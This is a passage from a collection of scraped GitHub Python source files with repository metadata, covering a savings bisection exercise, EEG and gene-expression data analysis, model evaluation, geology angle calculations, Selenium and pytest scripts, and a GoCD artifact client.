float((monthly_salary * guess) / 10000) + (current_savings * 0.04) / 12\n if month % 6 == 0:\n annual_salary = annual_salary + (annual_salary * semi_annual_raise)\n if abs(current_savings - portion_down_payment) <= epsilon:\n print('Best saving rate: ', '%.2f' % (guess / 100))\n print('Step in binary search: ', num_guesses)\n print(\"Current Savings: \",'$','%.2f' %current_savings)\n break\n else:\n if abs(current_savings - portion_down_payment) > epsilon and current_savings > portion_down_payment:\n high = guess\n # increase portion_save\n if abs(current_savings - portion_down_payment) > epsilon and current_savings < portion_down_payment:\n low = guess\n if low == high:\n print('It is not possible to achieve the goal within three years.')\n break\n num_guesses+=1","repo_name":"TheWoolyMammoth/MIT-6.0001-PS1","sub_path":"ps1c.py","file_name":"ps1c.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"35878914334","text":"import numpy as np\nimport pandas\nimport matplotlib.pyplot as plt\nfrom random import choices, randint\nfrom scipy.stats import mannwhitneyu\nimport seaborn as sns\nfrom statannot import add_stat_annotation\nfrom scipy.stats import ttest_ind\nfrom scipy.stats import norm\nZ = norm.ppf\n\n\n# Analyse the behavior: Recognition accuracy\nplot_lines = True # Whether to plot lines for individual participants\nn_pars = 12\nn_conds = 3\ntitles = [\"Recognition after 20 min\", \"Recognition on next day\"]\n\ncolors = []\nfor i in range(n_pars):\n colors.append('#%06X' % randint(0, 0xFFFFFF))\n\nfor day in [1,2]:\n all_order = []\n accuracies = np.zeros((n_pars,n_conds))\n for i_par in range(1,n_pars+1):\n\n # Read the data\n file_path = f\"C:\\\\Users\\\\alessia\\\\Documents\\\\Jobs\\\\CNT\\\\CL-amtACS\\\\memory_consolidation\\\\behaviour\\\\data\\\\{i_par}\\\\{i_par}_recognition{day}.csv\"\n data = pandas.read_csv(file_path)\n data = pandas.DataFrame.to_numpy(data)\n\n # Compute the recognition accuracy\n conditions = np.unique(data[:,1])\n conditions_names = [\"No stim\", \"In phase\", \"Open loop\"]\n for cond in np.unique(conditions):\n\n # Get the data from the condition\n data_cond = data[data[:,1] == cond]\n\n # Get a first measure of the recognition accuracy (HIT - FALSE ALARMS)\n # But neglects the bias to say yes or no\n correct_pressed = data_cond[data_cond[:,5] == 1,6]\n hit_rate = np.sum(correct_pressed)/len(correct_pressed)\n fa_rate = 1 - hit_rate\n acc = Z(hit_rate) - Z(fa_rate) # 0 % Chance level\n accuracies[i_par-1,int(cond-1)] = acc\n\n\n ys = list(accuracies[:,0])+list(accuracies[:,1])+list(accuracies[:,2])\n xs = ['No stim']*len(accuracies)+['In phase']*len(accuracies)+['Open loop']*len(accuracies)\n plt.subplot(1, 2, day)\n ax = sns.boxplot(xs,ys,color =\"grey\",boxprops=dict(alpha=.5),showfliers=False)\n if plot_lines:\n for i_par in np.arange(n_pars):\n plt.plot([0,1,2],accuracies[i_par,:],color=colors[i_par],alpha=1,marker = \"o\")\n\n add_stat_annotation(ax, x = xs,y=ys,\n box_pairs=[(\"No stim\",\"In phase\"), (\"No stim\", \"Open loop\"), (\"In phase\", \"Open loop\")],\n test='Kruskal', text_format='simple', loc='inside', verbose=2)\n\n #plt.ylim([-0.50, 1.75])\n plt.title(titles[day-1])\n plt.ylabel(\"d' (Z(hit)-Z(FA))\")\n\n\nplt.subplots_adjust(wspace=0.4)\nplt.show()\n","repo_name":"alessiaca/CNT-CL-amtACS","sub_path":"memory consolidation/behaviour/analyse_behaviour_group.py","file_name":"analyse_behaviour_group.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"21096648637","text":"import logging\nimport os\n\nimport torch\nfrom torch_geometric.loader import DataLoader\nfrom tqdm import tqdm\n\nfrom data_load.smpl import SMPLDataset\nfrom metrics.eval_function import EvalPMD\n\nmodel_save_dir = 'saved_models/'\nlogging.basicConfig(format='%(asctime)s - [%(name)s] - %(levelname)s: %(message)s',\n level=logging.INFO)\ndevice = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\ndef eval(eval_dataset,\n model: torch.nn.Module,\n model_name=None,\n batch_size=8):\n logger = logging.getLogger(\"EvalMode\")\n if model_name is not None and isinstance(model_name, str):\n save_path = os.path.join(model_save_dir, model_name)\n try:\n model.load_state_dict(torch.load(save_path))\n logger.info('Saved model file found and successfully read')\n except:\n logger.warning(\n 'No saved model found, new model file will be created:' + str(save_path))\n model.to(device)\n model.eval()\n dataloader = DataLoader(eval_dataset,\n batch_size=batch_size,\n shuffle=False,\n num_workers=10,\n pin_memory=True,\n drop_last=False)\n Eval1 = EvalPMD()\n Eval1.to(device)\n logger.info('Start of evaluating......')\n eval_mean = 0\n with tqdm(total=len(dataloader.dataset)) as eval_bar:\n eval_bar.set_description_str('Evaluating')\n for id, po, gt in dataloader:\n v_id = id.v.to(device)\n # e_id = id.edge_index.to(device)\n b_id = id.batch.to(device)\n v_po = po.v.to(device)\n # e_po = po.edge_index.to(device)\n b_po = po.batch.to(device)\n v_gt = gt.v.to(device)\n with torch.no_grad():\n v_id = v_id.view(b_id.max()+1, -1, 3).permute(0, 2, 1)\n v_po = v_po.view(b_po.max()+1, -1, 3).permute(0, 2, 1)\n v_gt = v_gt.view(b_po.max()+1, -1, 3).permute(0, 2, 1)\n v_pred = model(v_id, v_po)\n eval = Eval1(v_pred, v_gt)\n eval_mean += eval\n eval_bar.write(f\"EvalData: {eval_bar.n // batch_size} Eval: {eval:>7f}\")\n eval_bar.set_postfix(eval=float(eval))\n eval_bar.update(dataloader.batch_size)\n eval_bar.reset()\n logger.info('evaluation completed')\n eval_mean = eval_mean / len(dataloader)\n model.train()\n return eval_mean\n\n\nif __name__ == '__main__':\n from model import FF_PTNet\n NPTDS_eval = SMPLDataset(path='./datasets/smpl/',\n identity_num=30,\n pose_num=800,\n identity_range=(16, 29),\n pose_range=(400, 799),\n shuffle_points=True,\n type='obj')\n eval_avg = eval(eval_dataset=NPTDS_eval,\n model=FF_PTNet(),\n model_name='model_smpl.pth')\n print(\"eval_avg: %f\" % eval_avg)\n\n","repo_name":"changfali/FF-PTNet","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31720903166","text":"from __future__ import absolute_import\n# This file is part of Panoptes - (C) Copyright 2014, CGGH \n# This program is free software licensed under the GNU Affero General Public License.\n# You can find a copy of this license in LICENSE in the top directory of the source code or at \n\nimport DQXDbTools\nimport json\nfrom .importer import configReadWrite\n\n\ndef response(returndata):\n DQXDbTools.CredentialInformation(returndata).VerifyCanDo(DQXDbTools.DbOperationWrite(returndata['dataset']))\n path = returndata['path'] #dot seperated path to yaml e.g. tablesById.variants\n datasetId = returndata['dataset']\n try:\n length = int(returndata['environ'].get('CONTENT_LENGTH', '0'))\n except ValueError:\n length = 0\n content = returndata['environ']['wsgi.input'].read(length).decode('utf-8')\n configReadWrite.writeYAMLConfig(datasetId, path, content)\n sendBack = configReadWrite.readJSONConfig(returndata['dataset'])\n returndata['config'] = sendBack\n return returndata\n","repo_name":"cggh/panoptes","sub_path":"server/responders/replaceconfig.py","file_name":"replaceconfig.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"39"} +{"seq_id":"24215224977","text":"import math\nimport operator\n\n\ndef anglecalculator(sp,ep): #sp: start point #ep: end point\n\n len_2dim_beside=math.sqrt( math.pow((sp[0]-ep[0]),2) + math.pow((sp[1]-ep[1]),2) )\n len_2dim_front=float(sp[2]-ep[2])\n tanalpha=float(len_2dim_front)/len_2dim_beside\n if sp[2]> ep[2]:\n upordown=\"down\"\n else:\n upordown=\"up\"\n return tanalpha, upordown\n##################################################################\ndef anglefinder(mainpolylist,prior,fault_table,predefined_angle_degree):\n\n #making the angles list\n angles=list()\n\n for n in prior:\n if ([n[0],n[3],None ,0, [] ]) not in angles:\n angles.append([n[0],n[3],None,0,None, [], []] )\n #angles= [ [0:prio_num, 1:type, 2:tan_angle, 3:quantity, 4:from left (up or down) ,5:[ [index1,index2,startpoint,endpoint] ], 6:[upordown_dic] ] ,...]\n #######################\n for i in range(0,len(angles)):\n if angles[i][1] not in ['intrusion', 'dyke']:\n #extracting the polylines for every priority (excluding virtuals)\n for j in range(1,len(mainpolylist)-1):\n for poliess in mainpolylist[j][2]:\n if poliess[0]==angles[i][0] and poliess[1]==angles[i][1]:\n if [mainpolylist[j][0],mainpolylist[j][1],poliess[3],poliess[4]] not in angles[i][5]:\n angles[i][5].append([mainpolylist[j][0],mainpolylist[j][1],poliess[3],poliess[4]])\n #calculating the angle\n ang_temp_average=None\n ang_temp_list=list()\n upordown_dic={\"up\": 0,\"down\":0}\n upordown=None\n for pol in angles[i][5]:\n tanalpha_temp, upordownpoly =anglecalculator(pol[2],pol[3])\n ang_temp_list.append(tanalpha_temp)\n upordown_dic[upordownpoly] = upordown_dic.get(upordownpoly)+1\n if len(ang_temp_list)>0:\n ang_temp_average=sum(ang_temp_list)/len(ang_temp_list)\n if ang_temp_average>0:\n upordown=\"down\"\n elif ang_temp_average<0:\n upordown=\"up\"\n else:\n upordown=max(upordown_dic.iteritems(), key=operator.itemgetter(1))[0]\n angles[i][2]=ang_temp_average\n angles[i][3]=len(ang_temp_list)\n angles[i][4]=upordown\n angles[i][6]=upordown_dic\n ######################\n #fault processing:\n #print 'angles before fault processing in anglefinder.py', angles\n for k in angles:\n if k[1]==\"fault\" and k[2]== None: #FAULTS IN CHRONOPRIORITY TABLE OVERWRITE THE ANGLES IN FAULT TABLE\n #print 'in faultps 1'\n for fault in fault_table:\n if fault[0]==k[0]:\n #print 'in faulttps2'\n if fault[2] != None and fault[2]>=0:\n k[2]=math.tan(math.radians(fault[2]))\n k[4]=\"up\"\n #print 'in faultps3'\n elif fault[2] != None and fault[2]<0:\n k[2]=abs(math.tan(math.radians(fault[2])))\n k[4]=\"down\"\n #print 'in faultps4'\n else:\n if predefined_angle_degree >= 0:\n if predefined_angle_degree==90:\n predefined_angle_degree=89\n elif predefined_angle_degree==0:\n predefined_angle_degree=1\n #print 'in faultps else'\n k[2]=math.tan(math.radians(predefined_angle_degree))\n k[4]=\"up\"\n else:\n if predefined_angle_degree==-90:\n predefined_angle_degree=89\n #print 'in faultps else'\n k[2]=math.tan(math.radians(math.abs(predefined_angle_degree)))\n k[4]=\"down\"\n #read from the fault_table. if not existed\n #######################\n #Now the only one with the None are the priority numbers that do not have a line\n return angles\n################################################################## \ndef angleupdater(gg,uy,angles):\n #angles= [ [0:prio_num, 1:type, 2:tan_angle, 3:quantity, 4:from left (up or down) ,5:[ [index1,index2,startpoint,endpoint] ], 6:[upordown_dic] ] ,...]\n for ang in angles:\n if uy[3]==ang[0]:\n for linee in ang[5]:\n if gg[1]==linee[2] and gg[2]==linee[3]:\n if ang[3]>1:\n sum_tan_angle_old=ang[2]*ang[3]\n tanalpha, upordown=anglecalculator(linee[2],linee[3])\n ang[3]=ang[3]-1\n ang[2]= float((sum_tan_angle_old - tanalpha))/(ang[3])\n ang[6][upordown]=ang[6].get(upordown)-1\n ang[4]=max(ang[6].iteritems(), key=operator.itemgetter(1))[0]\n else:\n ang[2]=None\n ang[3]=None\n ang[4]=None\n ang[5]=list()\n return angles\n################################################################## \ndef angleestimator(poi, mainpointlist, mainpolylist,leftorrightcompleteor):\n #angles= [ [0:prio_num, 1:type, 2:tan_angle, 3:quantity, 4:from left (up or down) ,5:[ [index1,index2,startpoint,endpoint] ], 6:[upordown_dic] ] ,...]\n bhpoints=list()\n nearest_uppoint=None\n nearest_downpoint=None\n tan_angle_temp=None\n upordown_temp=None\n if poi[4]=='normal': #just do the procedure it the point is normal contact\n for points in mainpointlist:\n if poi[1]==points[1] and poi[5] != points[5]:\n if points[5][2]> poi[5][2]:\n #higher point\n if nearest_uppoint==None:\n nearest_uppoint=points\n if points[5][2]=nearest_downpoint[5][2]:\n nearest_downpoint=points\n #left or right\n if leftorrightcompleteor==\"left\":\n bh1=poi[1]-1\n bh2=poi[1]\n else:\n bh1=poi[1]\n bh2=poi[1]+1\n ############\n #up\n if nearest_uppoint != None and nearest_uppoint[4]==\"normal\" and nearest_uppoint[3]==poi[3]+1:\n for polyliness in mainpolylist:\n if polyliness[0]==bh1 and polyliness[1]==bh2:\n for pol in polyliness[2]:\n if pol[0]==nearest_uppoint[3]:\n tan_angle_temp, upordown_temp=anglecalculator(pol[3],pol[4])\n #down\n elif nearest_downpoint !=None and nearest_downpoint[4]==\"normal\" and nearest_downpoint[3]==poi[3]-1:\n for polyliness in mainpolylist:\n if polyliness[0]==bh1 and polyliness[1]==bh2:\n for pol in polyliness[2]:\n if pol[0]==nearest_downpoint[3]:\n tan_angle_temp, upordown_temp=anglecalculator(pol[3],pol[4])\n else:\n pass\n return tan_angle_temp, upordown_temp\n","repo_name":"IDAEA-EVS/Geopropy","sub_path":"code/geopropy/anglefinder.py","file_name":"anglefinder.py","file_ext":"py","file_size_in_byte":7423,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"39"} +{"seq_id":"20680898374","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport time\nimport math\n\n\nbrowser = webdriver.Chrome()\n\ndef feedback(link):\n answer = str(math.log(int(time.time())))\n browser.get(link)\n\n input1 = WebDriverWait(browser, 5).until(EC.presence_of_element_located((By.TAG_NAME, \"textarea\")))\n input1.send_keys(answer)\n\n button = browser.find_element_by_css_selector(\"button.submit-submission\")\n button.click()\n\n feed_lmnt = WebDriverWait(browser, 5).until(EC.presence_of_element_located((By.TAG_NAME, \"pre\")))\n feed = feed_lmnt.text\n print(feed)\n\nlink = \"https://stepik.org/lesson/236895/step/1\"\nfeedback(link)\n\nfeed_lmnt = WebDriverWait(browser, 5).until(EC.presence_of_element_located((By.TAG_NAME, \"pre\")))\nfeed = feed_lmnt.text\nassert \"Correct!\" == feed, \"Should be 'Correct!'\"\ntime.sleep(1)\n\n# После выполнения всех действий мы не должны забыть закрыть окно браузера\nbrowser.quit()\n\n\n","repo_name":"olvitar/environments","sub_path":"environments/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"6993930902","text":"\n# coding: utf-8\n\n# # Batch 4 Preprocessing\n# Group 4: Damiano Chini, Riccardo Gilmozzi, Gianmarco Piccinno & Alessandro Rizzuto\n# Useful links:\n# https://github.com/ComplexityBiosystems/obesity-score\n# https://www.ncbi.nlm.nih.gov/geo/query/acc.cgi?acc=GSE48964\n\n# This code operates the preprocessing steps, namely (from the paper):\n#\n# 1) Probes containing missing values are excluded from the analysis.\n#\n# 2) Probes are mapped to Entrez ID labels if they are available in the associated platform.\n#\n# 3) Values corresponding to raw expression counts or gene expression intensity are log2 transformed (if necessary).\n#\n# 4) Probes mapping to the same Entrez ID label are averaged out.\n#\n# 5) Probes that cannot be mapped to a unique Entrez ID label are excluded from the analysis, as well as those that cannot be mapped to any Entrez ID label at all.\n#\n# 6) We apply a simple L 1 normalization in linear space, imposing that the sum of expression of all genes is constant among samples.\n#\n# After these steps, each data set or batch is represented by a single expression matrix X. Each entry X i j represents the log 2 of the expression intensity of gene i in sample j.\n#\n\n# In[1]:\n\nimport GEOparse\nimport pandas as pd\n\n\n# In[2]:\n\ngse4 = GEOparse.get_GEO(filepath=\"./data/GEO_data/GSE48964_family.soft.gz\")\n\n\n# In[3]:\n\nplats_4 = list(gse4.gpls.keys())[0]\n#print(plats_4)\n\n\n# Annotation table\n\n# In[20]:\n\nsamples4 = gse4.phenotype_data[\"source_name_ch1\"]\nsamples4 = pd.DataFrame(samples4); samples4.head()\nsamples4.rename(columns={\"source_name_ch1\":\"cbmi\"}, inplace=True); samples4.head()\nsamples4[\"cbmi\"] = samples4[\"cbmi\"].apply(lambda x: 'obese' if x.split(' ')[1].lower()=='obese' else 'lean'); samples4.head()\n#print(samples4.head()); print(len(samples4))\n#print(samples4.shape)\n\n\n# In[25]:\n\nsamples4.to_pickle('./output/replication/preprocessing/batch4_pheno.p')\nwith open('./output/replication/preprocessing/batch4_pheno.txt', 'w') as handle:\n samples4.to_csv(handle, sep='\\t')\n\n\n# # Preprocessing of Expression Data (Batch 4)\n\n# In[6]:\n\nsamples4_exprs = gse4.pivot_samples('VALUE')[list(samples4.index)]\nsamples4_exprs.index.name = 'ID'\n#print('Expression Table', '\\n', samples4_exprs.head())\n\n\n# We are considering the annotation table the one contained in the GPL6244.annot file (https://www.ncbi.nlm.nih.gov/geo/query/acc.cgi?acc=GPL6244).\n#\n# ID = ID from Platform data table\n#\n# Gene ID = Entrez Gene identifier\n#\n# The column containing the Entrez_ID is Gene ID!!!\n\n# In[7]:\n\nann_table4 = pd.read_csv('./data/GEO_data/GPL6244.annot', sep='\\t', skiprows=27, dtype=str, na_values='NaN',usecols=[0,3], index_col=0)#.dropna()\n#print('Annotation Table: ', '\\n', ann_table4.head())\n\n\n# Remove probes without ENTREZ ID\n\n# # 1) Probes containing missing values are excluded from the analysis.\n\n# In[8]:\n\n#print(samples4_exprs.shape)\nsamples4_exprs = samples4_exprs.dropna()\n#print(samples4_exprs.shape)\n\n\n# # 5) Probes that cannot be mapped to a unique Entrez ID label are excluded from the analysis, as well as those that cannot be mapped to any Entrez ID label at all.\n\n# In[9]:\n\nann_table = ann_table4.dropna()\n#print(ann_table.head())\n\n\n# Remove ids that refer to different Entrez ids:\n# for example\n# ID Gene ID\n# 2 7896740 81099///79501///26682\n#\n\n# In[10]:\n\nann_table = ann_table[~ann_table['Gene ID'].str.contains(\"///\")]\n#print(ann_table.head())\n#print(ann_table.shape)\n\n\n# # 2) Probes are mapped to Entrez ID labels if they are available in the associated platform.\n\n# In[11]:\n\n#print(type(ann_table.index[0]))\n#print(type(samples4_exprs.index[0]))\nsamples4_exprs.index = samples4_exprs.index.astype(str)\n#print(type(ann_table.index[0]))\n#print(type(samples4_exprs.index[0]))\n\n\n# In[12]:\n\nexprs_4 = ann_table.merge(samples4_exprs, left_index=True, right_index=True, how='inner')\n#exprs_4.index = exprs_4['Gene ID']; del exprs_4['Gene ID']\n#print(exprs_4.head())\n#print('\\nShape of the complete DataFrame: ', exprs_4.shape)\n\n\n#\n# # 3) Values corresponding to raw expression counts or gene expression intensity are log2 transformed (if necessary).\n\n# # 4) Probes mapping to the same Entrez ID label are averaged out.\n\n# In[13]:\n\nexprs_4 = exprs_4.groupby('Gene ID').mean()\n#print(exprs_4.head())\n#print('\\n', exprs_4.shape)\n\n\n# # Write the eprs4 dataframe in a text file\n\n# In[24]:\n\nexprs_4 = exprs_4.T\nexprs_4.to_pickle('./output/replication/preprocessing/batch4_geno.p')\nwith open('./output/replication/preprocessing/batch4_geno.txt', 'w') as handle:\n exprs_4.to_csv(handle, sep='\\t')\n\n\n# # Comparison with the data provided by the authors\n\n# In[18]:\n\nor_data4 = pd.read_pickle('./data/Paper_data/GSE48964_geno.p')\n\nwith open('./output/replication/Comparison.txt', 'a') as handle:\n handle.writelines(\"\\nBatch4\"+\"\\t\"+str(or_data4.shape[0])+\"\\t\"+str(or_data4.shape[1])+\"\\t\"+str(exprs_4.shape[0])\\\n +\"\\t\"+str(exprs_4.shape[1])+\"\\t\"+str(len(set.intersection(set(exprs_4.columns), set(or_data4.columns))))+\"\\t\"\\\n +\"\\t\"+str(max(len(set(exprs_4.columns)), len(set(or_data4.columns)))-len(set.intersection(set(exprs_4.columns), set(or_data4.columns))))\\\n +\"\\t\"+str(len(set.intersection(set(exprs_4.columns), set(or_data4.columns)))/len(set.union(set(exprs_4.columns), set(or_data4.columns)))))\n","repo_name":"Balthus1989/BiologicalDataMining","sub_path":"Preprocessing_Batch4.py","file_name":"Preprocessing_Batch4.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"7323044394","text":"import unittest\nfrom service.csv_service import CsvService\n\n\nclass TestCsvService(unittest.TestCase):\n def test_static_class(self):\n # static class: constructor must not be called\n with self.assertRaises(RuntimeError):\n x = CsvService()\n\n def test_open_excel(self):\n # test excel when path null\n self.assertIsNone(CsvService.open_excel(None))\n # test excel when path Empty\n self.assertIsNone(CsvService.open_excel(\"\"))\n # test excel when path wrong\n self.assertIsNone(CsvService.open_excel(\"./../in/online_retailz.xlsx\"))\n # test read all doc\n self.assertIsNotNone(CsvService.open_excel(\"./../in/online_retail.xlsx\"))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"ieCecchetti/pyRetailsChallange","sub_path":"test/csv_service_test.py","file_name":"csv_service_test.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"41149350547","text":"import pytest\nfrom sql import MysqlClient\n\n\nclass MyTest:\n\n @pytest.fixture(scope='function', autouse=True)\n def setup(self, mysql_client):\n self.client: MysqlClient = mysql_client\n\n\nclass TestMysql(MyTest):\n\n def test_len(self):\n info = self.client.log_len()\n self.client.execute_query(fetch=True, query=f'insert into test1 (count) values ({info})')\n assert info == self.client.read('*', 'test1')[0]['count']\n\n def test_count_method(self):\n info = self.client.methods_counting()\n for i in range(len(info[0])):\n self.client.execute_query(fetch=True, query=f'insert into test2 (method,count)'\n f' values (\"{info[0][i]}\",\"{info[1][i]}\")')\n for i in range(len(info[0])):\n assert self.client.read('*', 'test2')[i]['method'] == info[0][i] and self.client.read('*', 'test2')[i][\n 'count'] == info[1][i]\n\n def test_count_url(self, count=10):\n buffer0 = []\n buffer1 = []\n info = self.client.url_counting(count)\n for i in range(len(info[1])):\n if info[0].count(info[1][i]) >= min(info[2][-count:]):\n buffer0.append(info[1][i])\n buffer1.append(str(info[0].count(info[1][i])))\n self.client.execute_query(fetch=True, query=f'insert into test3 (url,count)'\n f' values (\"{info[1][i]}\",\"{info[0].count(info[1][i])}\")')\n for i in range(len(buffer1)):\n assert self.client.read('*', 'test3')[i]['url'] == buffer0[i] and self.client.read('count', 'test3')[i][\n 'count'] == buffer1[i]\n\n def test_size(self):\n info = self.client.mock_info()\n for i in range(len(info)):\n self.client.execute_query(fetch=True, query=f'insert into test4 (ip,code,size,url)'\n f' values (\"{info[i][0]}\",\"{info[i][1]}\",\"{info[i][2]}\",\"{info[i][3]}\")')\n\n def test_ip_count(self):\n info = self.client.ip_counting()\n buffer0 = []\n buffer1 = []\n for i in range(len(info[0])):\n info[1].append(info[2].count(info[0][i]))\n if info[1][i] > min(info[1]):\n buffer0.append(info[0][i])\n buffer1.append(info[1][i])\n self.client.execute_query(fetch=True, query=f'insert into test5 (ip,count)'\n f' values (\"{info[0][i]}\",\"{info[1][i]}\")')\n for i in range(len(buffer1)):\n assert self.client.read('*', 'test5')[i]['ip'] == buffer0[i] and str(self.client.read('*', 'test5')[i][\n 'count']) == str(buffer1[i])\n","repo_name":"NeverendingSummer/VK_QA_PYTHON","sub_path":"homework6/test_hm6.py","file_name":"test_hm6.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"36347076555","text":"import pytest\nimport time,os\nfrom util.command import Command\ncmd =Command()\n\nclass TestNoComm():\n\n def test_a(self):\n a =1\n assert a==1\n print(1)\n\n\n def test_Z(self):\n a = 1\n assert a == 1\n print(2)\n\n\n def test_b(self):\n a = 1\n assert a == 1\n print(3)\n\nif __name__ == '__main__':\n pytest.main(['-s',cmd.stuite_path + os.sep + \"test_no_action.py\"])\n print(ord(\"Z\"))\n print(ord(\"a\"))\n\n\n# @pytest.fixture(scope='function') #作用到函数\n# def resource():\n# x = [\"123\"]\n# return x\n#\n#\n# def test_a(resource):\n# time.sleep(1)\n# assert resource ==[\"1123\"]\n#\n#\n# def test_2(resource):\n# time.sleep(1)\n# assert \"123\" in resource\n#\n# def test_3(resource):\n# time.sleep(1)\n#\n#\n# def test_4(resource):\n# time.sleep(1)\n#\n# @pytest.mark.parametrize('x', list(range(10))) #第1个区域是入参,第2个区域是list区域\n# def test_something(x):\n# time.sleep(1)\n\n\n #pytest.main([\"--maxfail=2\", cmd.stuite_path + os.sep + \"test_no_action.py\"])","repo_name":"Nightwish555/Weekly---practice","sub_path":"selenium_uses/test_case_pytest/test_no_action.py","file_name":"test_no_action.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"14245681314","text":"import sys\n\nfrom setuptools import setup\n\ntry:\n from setuptools_rust import RustExtension\nexcept ImportError:\n import subprocess\n\n errno = subprocess.call([sys.executable, \"-m\", \"pip\", \"install\", \"setuptools-rust==0.11.6\"])\n if errno:\n print(\"Please install setuptools-rust package\")\n raise SystemExit(errno)\n else:\n from setuptools_rust import RustExtension\n\nsetup_requires = [\"setuptools-rust>=0.11\", \"wheel\"]\ninstall_requires = []\n\nsetup(\n name=\"pyawabi\",\n version=\"0.2.6\",\n description='A morphological analyzer using mecab dictionary.',\n long_description=open('README.md', encoding='utf-8').read(),\n long_description_content_type=\"text/markdown\",\n url='http://github.com/nakagami/pyawabi/',\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Rust\",\n \"Operating System :: POSIX\",\n ],\n keywords=['MeCab'],\n license='MIT',\n author='Hajime Nakagami',\n author_email='nakagami@gmail.com',\n packages=[\"pyawabi\"],\n scripts=['bin/pyawabi'],\n rust_extensions=[RustExtension(\"pyawabi.awabi\")],\n setup_requires=setup_requires,\n zip_safe=False,\n test_suiete=\"tests\",\n)\n","repo_name":"nakagami/pyawabi","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"29928935457","text":"import cv2\n\ncap = cv2.VideoCapture(0)\ncasscase_classifier = cv2.CascadeClassifier('res/haarcascade_frontalface_default.xml')\n\n\n\nwhile True:\n ret, frame = cap.read()\n frame = cv2.cvtColor(frame, 0)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n detectction = casscase_classifier.detectMultiScale(gray, 1.3, 5)\n\n if(len(detectction)>0):\n (x,y,w,h) = detectction[0]\n frame = cv2.rectangle(frame, (x,y), (x+w, y+h), (255,0,0), 2)\n\n cv2.imshow('frame', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"Tarikul-Islam-Shykat/Python-Project","sub_path":"Open CV/Projects/face detection using webcam.py","file_name":"face detection using webcam.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"71709848434","text":"from gocd.api.endpoint import Endpoint\nimport time\n\n\nclass Artifact(Endpoint):\n base_path = 'go/files/{pipeline}/{counter}/{stage}/{stage_counter}/{job}'\n\n def __init__(self, server, pipeline, counter, stage, job, stage_counter=1):\n \"\"\"A wrapper for the `Go artifact API`__\n\n .. __: http://api.go.cd/current/#artifacts\n\n Args:\n server (Server): A configured instance of\n :class:gocd.server.Server\n pipeline (str): The name of the pipeline to work with\n counter (int): The counter of the pipeline to work with\n stage (str): The name of the stage to work with\n job (str): The name of the job to work with\n stage_counter (int): The counter of the stage to work with, defaults to 1\n \"\"\"\n self.server = server\n self.pipeline = pipeline\n self.counter = counter\n self.stage = stage\n self.job = job\n self.stage_counter = stage_counter\n\n self._base_path = self.base_path.format(\n pipeline=self.pipeline,\n counter=self.counter,\n stage=self.stage,\n stage_counter=self.stage_counter,\n job=self.job\n )\n\n def list(self):\n \"\"\"Lists all available artifacts in this job.\n\n See the `Go artifact list documentation`__ for example responses.\n\n .. __: http://api.go.cd/current/#get-all-artifacts\n\n Returns:\n Response: :class:`gocd.api.response.Response` object\n \"\"\"\n return self._get('.json')\n\n def get(self, path_to_file):\n \"\"\"Gets an artifact directory by its path.\n\n See the `Go artifact file documentation`__ for example responses.\n\n .. __: http://api.go.cd/current/#get-artifact-file\n\n Args:\n path_to_file (str): The path to file to get. It can be nested eg\n ``dist/foobar-widgets-1.2.0.jar``\n\n Returns:\n Response: :class:`gocd.api.response.Response` object\n \"\"\"\n return self._get(path_to_file)\n\n def get_directory(self, path_to_directory, timeout=30, backoff=0.4, max_wait=4):\n \"\"\"Gets an artifact directory by its path.\n\n See the `Go artifact directory documentation`__ for example responses.\n\n .. __: http://api.go.cd/current/#get-artifact-directory\n\n .. note::\n Getting a directory relies on Go creating a zip file of the\n directory in question. Because of this Go will zip the file in\n the background and return a 202 Accepted response. It's then up\n to the client to check again later and get the final file.\n\n To work with normal assumptions this :meth:`get_directory` will\n retry itself up to ``timeout`` seconds to get a 200 response to\n return. At that point it will then return the response as is, no\n matter whether it's still 202 or 200. The retry is done with an\n exponential backoff with a max value between retries. See the\n ``backoff`` and ``max_wait`` variables.\n\n If you want to handle the retry logic yourself then use :meth:`get`\n and add '.zip' as a suffix on the directory.\n\n Args:\n path_to_directory (str): The path to the directory to get.\n It can be nested eg ``target/dist.zip``\n timeout (int): How many seconds we will wait in total for a\n successful response from 